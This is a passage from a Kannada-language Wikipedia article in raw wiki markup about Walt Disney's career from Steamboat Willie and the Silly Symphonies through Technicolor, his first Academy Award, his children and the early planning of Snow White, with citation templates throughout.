[[ನಿಶ್ಯಬ್ದ,ಮೂಕಿ ಚಿತ್ರ]]ವಾಗಿತ್ತು. ''ಪ್ಲೇನ್‌ ಕ್ರೇಜಿ'' ಮತ್ತು ಆನಂತರ ನಿರ್ಮಿಸಿದ ''[[ದಿ ಗ್ಯಾಲಪಿನ್‌ ಗಾಚೊ]]'' ಆನಿಮೇಷನ್‌ ಚಿತ್ರಗಳಿಗೆ ವಿತರಕರನ್ನು ಕಂಡುಕೊಳ್ಳಲು ವಿಫಲವಾದ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು [[ಸಂಭಾಷಣೆಸಹಿತ]] ಮಿಕ್ಕಿ ಚಲನಚಿತ್ರ '''[[ಸ್ಟೀಮ್‌ಬೋಟ್‌ ವಿಲ್ಲೀ]]'' 'ಯನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿತು. [[ಪ್ಯಾಟ್‌ ಪಾವರ್ಸ್‌]] ಎಂಬ ಉದ್ಯಮಿ ವಿತರಣಾ ಒಪ್ಪಂದವನ್ನು ಮಾಡಿಕೊಂಡಿದ್ದಲ್ಲದೆ, ಧ್ವನಿ [[ಏಕಕಾಲಿಕಗೊಳಿಸುವ]] [[ಸಿನೆಫೋನ್‌]] ಪ್ರಕ್ರಿಯೆಯನ್ನೂ ಸಹ ಒದಗಿಸಿದರು. ''ಸ್ಟೀಮ್‌ಬೋಟ್‌ ವಿಲ್ಲೀ'' ದಿಢೀರ್ ಯಶಸ್ವಿಯಾಯಿತು. ''ಪ್ಲೇನ್‌ ಕ್ರೇಜಿ'' ಮತ್ತು ''ದಿ ಗ್ಯಾಲಪಿಂಗ್‌ ಗಾಚೊ'' ಧ್ವನಿ ಸಹಿತ ಪುನಃ ಬಿಡುಗಡೆಯಾದವು. ಮುಂದೆ ಬಿಡುಗಡೆಯಾದ ಎಲ್ಲಾ ಮಿಕ್ಕಿ ವ್ಯಂಗ್ಯಚಿತ್ರ ಸರಣಿಗಳೂ ಧ್ವನಿಪಥ ಅಥವಾ ಕಂಠಸಿರಿಯನ್ನು ಹೊಂದಿದ್ದವು. ಆರಂಭಿಕ ವ್ಯಂಗ್ಯ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಸ್ವತಃ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕಂಠಧ್ವನಿಯ ಪರಿಣಾಮಗಳನ್ನು ನೀಡಿ, 1946ರ ತನಕ ಮಿಕ್ಕಿ ಮೌಸ್‌ಗಾಗಿ [[ಕಂಠ]] ದಾನ ಮಾಡಿದರು. ''ಸ್ಟೀಮ್‌ಬೋಟ್‌ ವಿಲ್ಲೀ'' ಬಿಡುಗಡೆ ನಂತರ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ಮುಂಬರುವ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಧ್ವನಿಗ್ರಹಣವನ್ನು ಯಶಸ್ವಿಯಾಗಿ ಬಳಸಿದರು. ಆರಂಭದಲ್ಲಿ ಧ್ವನಿಯನ್ನೊಳಗೊಂಡ ಡಿಸ್ನಿ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳಿಗೆ ಸಿನೆಫೋನ್‌ ಹೊಸ ವಿತರಕರಾದರು.<ref name="gabler129">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 129.</ref> ಫೆಲಿಕ್ಸ್‌ ದಿ ಕ್ಯಾಟ್‌ನ್ನು ಹಿಂದಿಕ್ಕಿ, ಮಿಕ್ಕಿ ಮೌಸ್‌ ವಿಶ್ವದ ಅತಿ ಹೆಚ್ಚು ಜನಪ್ರಿಯ ವ್ಯಂಗ್ಯಚಿತ್ರದ ಪಾತ್ರವಾಗಿ ಮೆಚ್ಚುಗೆ ಗಳಿಸಿತು.<ref name="DisneyMuseum"/> 1930ರಲ್ಲಿ, ಧ್ವನಿ-ಸಹಿತಿ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳು ಗಮನ ಸೆಳೆಯಲು ವಿಫಲವಾದ ಕಾರಣ, ಈ ಮಾದರಿಯಲ್ಲಿ ಬಿಡುಗಡೆಯಾಗಿದ್ದ 'ಫೆಲಿಕ್ಸ್‌' ಪರದೆಯಿಂದ ಮಾಸಿಹೋಗಿತ್ತು.<ref>{{cite web|accessdate=2008-05-21|url=http://findarticles.com/p/articles/mi_g1epc/is_tov/ai_2419100434|title=Felix the Cat|publisher=St. James Encyclopedia of Pop Culture|author=Gordon, Ian|archiveurl=https://archive.today/20120714143538/http://findarticles.com/p/articles/mi_g1epc/is_tov/ai_2419100434/|archivedate=2012-07-14|url-status=live}}</ref> ದಶಕ 1930ರ ಆರಂಭದಲ್ಲಿ ಮಿಕ್ಕಿ ಮೌಸ್‌ನ ಜನಪ್ರಿಯತೆಯು ಗರಿಷ್ಠ ಮಟ್ಟದಲ್ಲಿ ಹೆಚ್ಚಾಗತೊಡಗಿತ್ತು.<ref name="DisneyMuseum"/> ==== ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್ ==== ''ಮಿಕ್ಕಿ ಮೌಸ್‌ ಸರಣಿ'' ಯ ನಂತರ, ''[[ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್‌]]'' ಎಂಬ ಸಂಗೀತ ಪ್ರಧಾನ ಕಿರುಚಿತ್ರಗಳು 1929ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದವು. ಇವುಗಳಲ್ಲಿ ಮೊದಲನೆಯದಾದ ''[[ದಿ ಸ್ಕೆಲೆಟನ್‌ ಡ್ಯಾನ್ಸ್‌]]'' - ಇಡೀ ಕಿರುಚಿತ್ರಕ್ಕೆ ಐವರ್ಕ್ಸ್‌ ಚಿತ್ರರಚನೆ ಮತ್ತು ಆನಿಮೇಷನ್‌ ಮಾಡಿದರು. ಇಷ್ಟೇ ಅಲ್ಲದೆ, 1928 ಮತ್ತು 1929ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳಲ್ಲಿನ ಬಹುಪಾಲು ಚಿತ್ರಗಳಿಗೆ ಐವರ್ಕ್ಸ್‌ ಚಿತ್ರರಚಿಸಿದ್ದರು. ಎರಡೂ ಸರಣಿಗಳು ಯಶಸ್ವಿಯಾದರೂ, ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊಗೆ ತಾನು ಪ್ಯಾಟ್‌ ಪಾವರ್ಸ್‌ರಿಂದ ಅಪೇಕ್ಷಿಸಿದ್ದ ಲಾಭದ ನ್ಯಾಯಸಮ್ಮತ ಪಾಲು ದೊರೆಯಲಿಲ್ಲ.<ref name="gabler142">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 142.</ref> ಇದರ ಪರಿಣಾಮವಾಗಿ, 1930ರಲ್ಲಿ ಡಿಸ್ನಿ [[ಕೊಲಂಬಿಯಾ ಪಿಕ್ಚರ್ಸ್‌]] ಸಂಸ್ಥೆಯೊಂದಿಗೆ ಹೊಸ ವಿತರಣಾ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡಿತು. ಸಂಗೀತದಲ್ಲಿನ ನಾವೀನ್ಯತೆ ಈ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರದ ಮೂಲಾಧಾರವಾಗಿತ್ತು. ಕಾರ್ಲ್‌ ಸ್ಟಾಲಿಂಗ್‌ ಮೊದಲ ಸಿಲ್ಲಿ ಸಿಂಫನಿ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಕ್ಕಾಗಿ ಸಂಗೀತ ಸಂಯೋಜನೆ ಮಾಡಿದ್ದರು.<ref name="DisneyMuseum2">{{cite web|accessdate=2008-05-21|url=http://disney.go.com/disneyatoz/familymuseum/exhibits/articles/sillysymphonies/index.html|title=THE BIRTH OF THE SILLY SYMPHONIES |publisher=[[Disney]]|author=Merritt, Russell}}</ref> ಶೀಘ್ರದಲ್ಲಿಯೇ, ಪ್ಯಾಟ್‌ ಪಾವರ್ಸ್‌ ಐವರ್ಕ್ಸ್‌ರಿಗೆ ತಮ್ಮದೇ ಆದ ಸ್ಟುಡಿಯೊ ಆರಂಭಿಸಿ, ವಿಶಿಷ್ಟ ಕರಾರನ್ನು ಒಪ್ಪಿಕೊಳ್ಳುವಂತೆ ಆಮಿಷವೊಡ್ಡಿದರು. ನಂತರ, ಕಾರ್ಲ್‌ ಸ್ಟಾಲಿಂಗ್‌ ಸಹ ಡಿಸ್ನಿ ಸಂಸ್ಥೆ ತೊರೆದು ಐವರ್ಕ್ಸ್‌ರ ಹೊಸ ಸ್ಟುಡಿಯೊಗೆ ಸೇರ್ಪಡೆಯಾದರು.<ref name="Islandnet-Chronology">{{cite web|accessdate=2008-05-21|url=http://www.islandnet.com/~kpolsson/disnehis/disn1930.htm|title=Chronology of the Walt Disney Company|publisher=Island Net}}</ref> ದ್ವಿಪಥೀಯ ಟೆಕ್ನಿಕಲರ್‌ ವಿಧಾನದಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿದ ಧ್ವನಿಸಹಿತ ಮೊದಲ(ಕಾರ್ಟೂನ್ ) ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರ 'ಫಿಡ್ಲ್‌ಸ್ಟಿಕ್ಸ್‌' ಮೂಲಕ, ಐವರ್ಕ್ಸ್‌ ತಮ್ಮ ''[[ಫ್ಲಿಪ್‌ ದಿ ಫ್ರಾಗ್‌]]'' ಸರಣಿ ಆರಂಭಿಸಿದರು. ಐವರ್ಕ್ಸ್‌ ''[[ವಿಲ್ಲೀ ವೊಪ್ಪರ್‌]]'' ಮತ್ತು ''[[ಕೊಮಿಕಲರ್‌]]'' ಎಂಬ ಇನ್ನೂ ಎರಡು ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರ ಸರಣಿ ನಿರ್ಮಿಸಿದರು. ಆನಿಮೇಷನ್‌ ತಂತ್ರಜ್ಞಾನ ಒಳಗೊಂಡಂತೆ ವಿವಿಧ ಯೋಜನೆಗಳಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಲು, ಐವರ್ಕ್ಸ್‌ ತಮ್ಮ [[ಸ್ಟುಡಿಯೊ]]ವನ್ನು 1936ರಲ್ಲಿ ಮುಚ್ಚಿದರು. 1940ರಲ್ಲಿ ಅವರು ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊಗೆ ಮರಳಿ, ಅದರ ಸಂಶೋಧನೆ ಮತ್ತು ಅಭಿವೃದ್ಧಿ (ರಿಸರ್ಚ್‌ ಅಂಡ್‌ ಡೆವೆಲಪ್ಮೆಂಟ್‌) ವಿಭಾಗದಲ್ಲಿ ಚಲನಚಿತ್ರದ ಹಲವಾರು ನವೀನ ಪ್ರಕ್ರಿಯೆಗಳು ಮತ್ತು ವಿಶಿಷ್ಟ ಆನಿಮೇಷನ್‌ ತಂತ್ರಜ್ಞಾನಗಳ ಹರಿಕಾರರಾದರು. 1932ರಲ್ಲಿ ಮಿಕ್ಕಿ ಮೌಸ್‌ ಅಪಾರ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿದ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರದ ಪಾತ್ರವಾಗಿತ್ತು, ಆದರೆ, ''ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್ '' ಅಷ್ಟೇನೂ ಯಶಸ್ವಿಯಾಗಿರಲಿಲ್ಲ. ಇದೇ ವರ್ಷ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಗೆ ತೀವ್ರ ಪೈಪೋಟಿಯಾಯಿತು. [[ಮ್ಯಾಕ್ಸ್‌ ಫ್ಲೇಷರ್‌]]ರ ಫ್ಲ್ಯಾಪರ್‌ ವ್ಯಂಗ್ಯಚಿತ್ರ ಪಾತ್ರವಾದ [[ಬೆಟ್ಟಿ ಬೂಪ್‌]] ಚಿತ್ರ ವೀಕ್ಷಕರ ಮೆಚ್ಚುಗೆ ಗಳಿಸುವುದರಲ್ಲಿ ಯಶಸ್ವಿಯಾಯಿತು.<ref>{{cite journal|accessdate=2008-05-21|url=http://www.awn.com/mag/issue2.4/AWNMag2.4.pdf|author= Langer, Mark|title=Popeye From Strip To Screen|publisher=[[Animation Magazine]]|date=July 1997|volume=2|issue=4|pp=17–19|format=[[PDF]]}}</ref> ಕಳೆದ 1930ರ ದಶಕದಲ್ಲಿ ಮ್ಯಾಕ್ಸ್‌ ಫ್ಲೇಷರ್‌ ಅವರು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಪ್ರಮುಖ ಪ್ರತಿಸ್ಪರ್ಧಿಯಾಗಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.britannica.com/eb/article-9106382/Fleischer-brothers|title=Fleischer brothers|publisher=[[Encyclopædia Britannica]]}}</ref> ಅವರೇ ಮುಂದೆ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಗೆ ಸಹಯೋಗ ನೀಡಿ, 1954ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[20,000 ಲೀಗ್ಸ್‌ ಅಂಡರ್‌ ದಿ ಸೀ]]'' ನಿರ್ದೇಶಿಸಿದ [[ರಿಚರ್ಡ್‌ ಫ್ಲೇಷರ್‌]]ರ ತಂದೆಯಾಗಿದ್ದರು. ಏತನ್ಮಧ್ಯೆ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ (ಕಾರ್ಟೂನ್ )ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳ ವಿತರಣೆ ಮಾಡುತ್ತಿದ್ದ ಕೊಲಂಬಿಯಾ ಪಿಕ್ಚರ್ಸ್ ಹಿಂದೆ ಸರಿದು, ಅದರ ಸ್ಥಾನದಲ್ಲಿ ಯುನೈಟೆಡ್‌ ಆರ್ಟಿಸ್ಟ್ಸ್‌ ಸಂಸ್ಥೆಗೆ ಅವಕಾಶ ನೀಡಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.islandnet.com/~kpolsson/disnehis/disn1932.htm|title=Chronology of the Walt Disney Company|publisher=Island Net}}</ref> ಸುಮಾರು 1932ರ ಅಪರಾರ್ಧದಲ್ಲಿ, [[ಹರ್ಬರ್ಟ್‌ ಕಾಲ್ಮಸ್‌]] ಎಂಬವರು ಮೊದಲ ತ್ರಿಪಥೀಯ ಟೆಕ್ನಿಕಲರ್‌ ಕ್ಯಾಮೆರಾ ಬಳಸಿ ಆಗಷ್ಟೇ ಕಾರ್ಯ ಪೂರ್ಣಗೊಳಿಸಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.widescreenmuseum.com/oldcolor/technicolor4.htm|title=System 4|publisher=Widescreen Museum}}</ref> ಇವರು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರನ್ನು ಭೇಟಿ ಮಾಡಿ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಮೂಲತಃ ಕಪ್ಪು-ಬಿಳುಪು ಆವೃತ್ತಿಯಲ್ಲಿ ನಿರ್ಮಿಸಿದ ''[[ಫ್ಲಾವರ್ಸ್‌ ಅಂಡ್‌ ಟ್ರೀಸ್‌]]'' ಚಲನಚಿತ್ರವನ್ನು ತ್ರಿಪಥೀಯ [[ಟೆಕ್ನಿಕಲರ್‌]]ಗೆ ಮಾರ್ಪಡಿಸಿ ಪುನಃ ಬಿಡುಗಡೆಗೊಳಿಸುವಂತೆ ಒತ್ತಾಯಿಸಿದರು.<ref name="Tech">{{cite web|accessdate=2008-05-21|url=http://www.widescreenmuseum.com/oldcolor/technicolor5.htm|title=System 4|publisher=Widescreen Museum}}</ref> ''ಫ್ಲಾವರ್ಸ್‌ ಅಂಡ್ ಟ್ರೀಸ್‌'' ಮುಂದೆ ಅದ್ಭುತ ಯಶಸ್ಸು ಕಂಡು, 1932ನೆಯ ವರ್ಷದ ಅತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ: [[ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರ ವಿಭಾಗದಲ್ಲಿ ಮೊದಲ ಅಕ್ಯಾಡಮಿ ಅವಾರ್ಡ್‌]] ಗಳಿಸಿತು. ''ಫ್ಲಾವರ್ಸ್‌ ಅಂಡ್‌ ಟ್ರೀಸ್‌'' ಬಿಡುಗಡೆಯಾದ ನಂತರ, ಮುಂದಿನ ಎಲ್ಲಾ ''ಸಿಲ್ಲಿ ಸಿಂಫ'' ನಿ (ಕಾರ್ಟೂನ್)ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳನ್ನು ವರ್ಣಚಿತ್ರ ರೂಪದಲ್ಲಿಯೇ ರಚಿಸಲಾಯಿತು. ಟೆಕ್ನಿಕಲರ್‌ನೊಂದಿಗೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಎರಡು ವರ್ಷಗಳ ಒಪ್ಪಂದ ಮಾಡಿಕೊಳ್ಳಲು ಸಾಧ್ಯವಾಯಿತು. ತ್ರಿಪಥೀಯ ಟೆಕ್ನಿಕಲರ್‌ <ref>{{cite web|accessdate=2008-05-21|url=http://www.mbam.qc.ca/disney/index_en.html|title=Walt Disney at the Museum?|publisher=[[Montreal Museum of Fine Arts]]|archive-date=2008-02-18|archive-url=https://web.archive.org/web/20080218072744/http://www.mbam.qc.ca/disney/index_en.html|url-status=dead}}</ref><ref>{{cite web|accessdate=2008-05-21|url=http://www.fpsmagazine.com/review/070312onceupon.php|title=Once Upon a Time: Walt Disney: The Sources of Inspiration for the Disney Studios|publisher=[[fps magazine]]}}</ref> ತಂತ್ರಜ್ಞಾನ ಬಳಸಲು ವಿಶೇಷ ಹಕ್ಕುಗಳನ್ನು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ನೀಡಲಾಯಿತು. ಈ ಒಪ್ಪಂದವನ್ನು ಕ್ರಮೇಣ ಐದು ವರ್ಷಗಳ ತನಕ ವಿಸ್ತರಿಸಲಾಯಿತು.<ref name="DisneyMuseum2"/> ''ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್‌'' ಮೂಲಕ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ 1933ರಲ್ಲಿ ತಮ್ಮ ಅತಿ ಯಶಸ್ವೀ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರ ''[[ದಿ ತ್ರೀ ಲಿಟ್ಲ್‌ ಪಿಗ್ಸ್‌]]'' ನ್ನು ಸಿದ್ದಪಡಿಸಿ ಬಿಡುಗಡೆಗೊಳಿಸಿದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.sensesofcinema.com/2003/cteq/3_little_pigs/|title=Huffing and Puffing about Three Little Pigs|publisher=Senses of Cinema|author=Danks, Adrian}}</ref> ಈ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರವು ಹಲವು ತಿಂಗಳುಗಳ ಕಾಲ ಚಿತ್ರಮಂದಿರಗಳಲ್ಲಿ ಪ್ರದರ್ಶಿತವಾಯಿತು. ಗ್ರೇಟ್‌ ಡಿಪ್ರೆಷನ್‌ನ ಗೀತೆಯಾಗಿ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿದ ಗೀತೆ 'ಹೂ ಇಸ್‌ ಅಫ್ರೇಯ್ಡ್‌ ಆಫ್‌ ದಿ ಬಿಗ್‌ ಬ್ಯಾಡ್‌ ವುಲ್ಫ್‌' ,ಇದರ ಪ್ರಧಾನ ಅಂಶವಾಗಿತ್ತು.<ref>{{cite web|accessdate=2008-05-21|url=http://disney.go.com/vault/archives/movies/pigs/pigs.html|title=Three Little Pigs|publisher=[[Disney]]}}</ref> [[ಚಿತ್ರ:Elias.JPG|right|thumb|ಹಾಲಿವುಡ್‌ ವಾಕ್‌ ಆಫ್‌ ಫೇಮ್‌ನಲ್ಲಿ ವಾಲ್ಟ್ ಡಿಸ್ನಿಯ ಸ್ಟಾರ್‌.]] === ಮೊದಲ ಅಕ್ಯಾಡಮಿ ಅವಾರ್ಡ್‌ === 1932ರಲ್ಲಿ, ಅಪಾರ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿದ 'ಮಿಕ್ಕಿ ಮೌಸ್‌' ಪಾತ್ರದ ಸೃಷ್ಟಿಗಾಗಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಗೆ ವಿಶೇಷ ಅಕ್ಯಾಡಮಿ ಅವಾರ್ಡ್‌ ಲಭಿಸಿತು. ಮಿಕ್ಕಿ ಮೌಸ್‌ ಸರಣಿಯನ್ನು 1935ರಲ್ಲಿ ವರ್ಣಚಿತ್ರ ರೂಪದಲ್ಲಿ ರಚಿಸಲಾಯಿತು. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಶೀಘ್ರದಲ್ಲೇ [[ಡೊನಾಲ್ಡ್‌ ಡಕ್‌]], [[ಗೂಫಿ]] ಮತ್ತು [[ಪ್ಲೂಟೊ]]ದಂತಹ ಸಹಪಾತ್ರಗಳಿಗಾಗಿ [[ಅದಕ್ಕೆ ಪೂರಕ]] ಸರಣಿಗಳನ್ನು ಆರಂಭಿಸಿತು. 1937ರಲ್ಲಿ ಪ್ಲುಟೊ ಮತ್ತು ಡೊನಾಲ್ಡ್‌ ತಮ್ಮದೇ ವೈಯಕ್ತಿಕ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳನ್ನು ಹೊಂದಿದವು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.islandnet.com/~kpolsson/disnehis/disn1937.htm|title=Chronology of the Walt Disney Company|publisher=Island Net}}</ref> 1939ರಲ್ಲಿ ಗೂಫಿಗಾಗಿಯೂ ಸಹ ಸೊಲೊ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳನ್ನು ನಿರ್ಮಿಸಲಾಯಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://members.tripod.com/~kariv/bio.html|title=GOOFY BIOGRAPHY|publisher=[[Tripod.com]]}}</ref> ಮಿಕ್ಕಿಯ ಪಾಲುದಾರರಲ್ಲಿ ಡೊನಾಲ್ಡ್‌ ಡಕ್‌ ,ಡಿಸ್ನಿಯ ಎರಡನೆಯ ಅತಿಹೆಚ್ಚು ಜನಪ್ರಿಯ(ಕಾರ್ಟೂನ್ ) ವ್ಯಂಗ್ಯಚಿತ್ರ ಪಾತ್ರವಾಗಿ ಹೊರಹೊಮ್ಮಿತು. 1934ರಲ್ಲಿ ತೆರೆಕಂಡ ''[[ಆರ್ಫನ್ಸ್‌ ಬೆನಿಫಿಟ್‌]]'' ವ್ಯಂಗ್ಯ ಚಲನಚಿತ್ರದಲ್ಲಿ ಡೊನಾಲ್ಡ್‌ ಮಿಕ್ಕಿಯೊಂದಿಗೆ ಕಾಣಿಸಿಕೊಂಡಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.britannica.com/eb/article-9096160/Donald-Duck|title=Donald Duck|publisher=[[Encyclopædia Britannica]]}}</ref> === ಮಕ್ಕಳು === ಡಿಸ್ನಿ ದಂಪತಿ [[ಮಕ್ಕಳನ್ನು ಪಡೆಯುವ]] ಮೊದಲ ಯತ್ನದಲ್ಲಿ ಲಿಲಿಯನ್‌ರಿಗೆ [[ಗರ್ಭಪಾತ]] ದ ಆಘಾತ ಸಂಭವಿಸಿತು. ಲಿಲಿಯನ್‌ ಡಿಸ್ನಿ ಪುನಃ ಗರ್ಭಿಣಿಯಾದಾಗ, [[ಡಯನೆ ಮೇರೀ ಡಿಸ್ನಿ]] ಎಂಬ ಹೆಣ್ಣುಮಗುವಿಗೆ 18 ಡಿಸೆಂಬರ್‌ 1933ರಂದು ಜನ್ಮವಿತ್ತರು. ಡಿಸ್ನಿ ದಂಪತಿಗಳು [[ಷಾರೊನ್‌ ಮೇ ಡಿಸ್ನಿ]] 31 ಡಿಸೆಂಬರ್‌ 1936 - 16 ಫೆಬ್ರವರಿ 1993) ಎಂಬ ಹೆಸರಿನ ಹೆಣ್ಣುಮಗುವನ್ನು ದತ್ತು ತೆಗೆದುಕೊಂಡರು.<ref>[http://ssdi.rootsweb.ancestry.com ಸೋಷಿಯಲ್‌ ಸೆಕ್ಯುರಿಟಿ ಡೆತ್‌ ಇಂಡೆಕ್ಸ್‌]</ref> == 1937-1941: ಆನಿಮೇಷನ್‌ನ ಸ್ವರ್ಣಯುಗ == === "ಡಿಸ್ಸ್ನೀಸ್‌ ಫಾಲಿ": ''ಸ್ನೋ ವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ್‌ ಡ್ವಾರ್ಫ್ಸ್'' === [[ಚಿತ್ರ:Walt Disney Snow white 1937 trailer screenshot (13).jpg|left|thumb|1937ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಮೂಲತಃ ಸ್ನೋ ವೈಟ್‌ ಟ್ರೇಲರ್‌ನಲ್ಲಿ ಒಂದು ದೃಶ್ಯದಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸೆವೆನ್‌ ಡ್ವೊಫ್ಸ್‌ನ ಪ್ರತಿಯೊಬ್ಬನನ್ನೂ ಪರಿಚಯಿಸುತ್ತಿರುವುದು.]] ಎರಡು ವ್ಯಂಗ್ಯಚಿತ್ರ (ಕಾರ್ಟೂನ್ )ಸರಣಿಗಳನ್ನು ರಚಿಸಿದ ನಂತರ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಪೂರ್ಣಾವಧಿಯ ಚಲನಚಿತ್ರಕ್ಕಾಗಿ ಯೋಜನೆಗಳನ್ನು 1934ರಲ್ಲಿ ರೂಪಿಸಲಾರಂಭಿಸಿತು. 1935ರಲ್ಲಿ, ಜನಾಭಿಪ್ರಾಯ ಸಂಗ್ರಹದ ಸಮೀಕ್ಷೆಗಳ ಪ್ರಕಾರ, ಮ್ಯಾಕ್ಸ್‌ ಫ್ಲೇಷರ್‌ ನಿರ್ಮಿಸಿದ ''[[ಪಾಪೈ ದಿ ಸೇಲರ್‌]]'' ಇನ್ನೊಂದು ವ್ಯಂಗ್ಯಚಿತ್ರ ಸರಣಿಯು ಮಿಕ್ಕಿ ಮೌಸ್‌ಗಿಂತಲೂ ಹೆಚ್ಚು ಜನಪ್ರಿಯವಾಗಿತ್ತು.<ref>{{cite web|accessdate=2008-05-21|url=http://forums.goldenagecartoons.com/showthread.php?t=2907|title=Popeye's Popularity - Article from 1935|publisher=Golden Age Cartoons|archive-date=2011-07-11|archive-url=https://web.archive.org/web/20110711104313/http://forums.goldenagecartoons.com/showthread.php?t=2907|url-status=dead}}</ref> ಆದರೂ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಮಿಕ್ಕಿ ಮೌಸ್‌ನ್ನು ಅಗ್ರಸ್ಥಾನಕ್ಕೆ ಏರಿಸುವುದರಲ್ಲಿ ಯಶಸ್ವಿಯಾಯಿತು. ಜೊತೆಗೆ, ಮಿಕ್ಕಿಯ ಜನಪ್ರಿಯತೆ ಹೆಚ್ಚಿಸಲು ಆ ಪಾತ್ರಕ್ಕೆ ನವೀನ ಬಣ್ಣ,ಜೀವ ತುಂಬಿ, ಆ ಸಮಯದಲ್ಲೇ ಅತ್ಯಂತ ಆಕರ್ಷಣೀಯವಾಗಿಸಲು ಸ್ವಲ್ಪ ಮಟ್ಟಿಗೆ ಮರುವಿನ್ಯಾಸ ಮಾಡಲಾಯಿತು.<ref name="DisneyMuseum"/> ಪೂರ್ಣಾವಧಿಯ ಚಲನಚಿತ್ರ ''[[ಸ್ನೋ ವೈಟ್‌]]'' ನ ಆನಿಮೇಟೆಡ್‌ ಆವೃತ್ತಿ ನಿರ್ಮಿಸುವ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಬಗ್ಗೆ ಚಿತ್ರರಂಗಕ್ಕೆ ಗೊತ್ತಾದಾಗ, ಈ ಯತ್ನವನ್ನು '''ಡಿಸ್ನಿಸ್‌ ಫೊಲಿ'' ' (ಡಿಸ್ನಿಯ ಮೂರ್ಖತನ) ಎಂದು ಟೀಕಿಸಿತು. ಈ ಯತ್ನದಿಂದಾಗಿ ಡಿಸ್ನಿ ಸಂಸ್ಥೆ ದಿವಾಳಿಯಾಗುವುದು ನಿಶ್ಚಿತ ಎನ್ನತೊಡಗಿತು. ಪತ್ನಿ ಲಿಲಿಯನ್‌ ಮತ್ತು ಅಣ್ಣ ರಾಯ್‌ ಇಬ್ಬರೂ ಸಹ ಈ ಚಲನಚಿತ್ರ ಮಾಡುವುದು ಬೇಡ ಎಂದು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ಸಮಜಾಯಿಷಿ ನೀಡಲು ಯತ್ನಿಸಿದರು. ಆದರೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ರೂಪುರೇಖೆಗಳನ್ನು ಮುಂದುವರೆಸಿದರು. ತಮ್ಮ ಸ್ಟುಡಿಯೊ ಸಿಬ್ಬಂದಿ ವರ್ಗಕ್ಕೆ ತರಬೇತಿ ನೀಡಲೆಂದು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ಚೂಯಿನಾರ್ಡ್‌ ಆರ್ಟ್‌ ಇನ್ಸ್‌ಟಿಟ್ಯೂಟ್‌]] ಪ್ರಾಧ್ಯಾಪಕ ಡಾನ್‌ 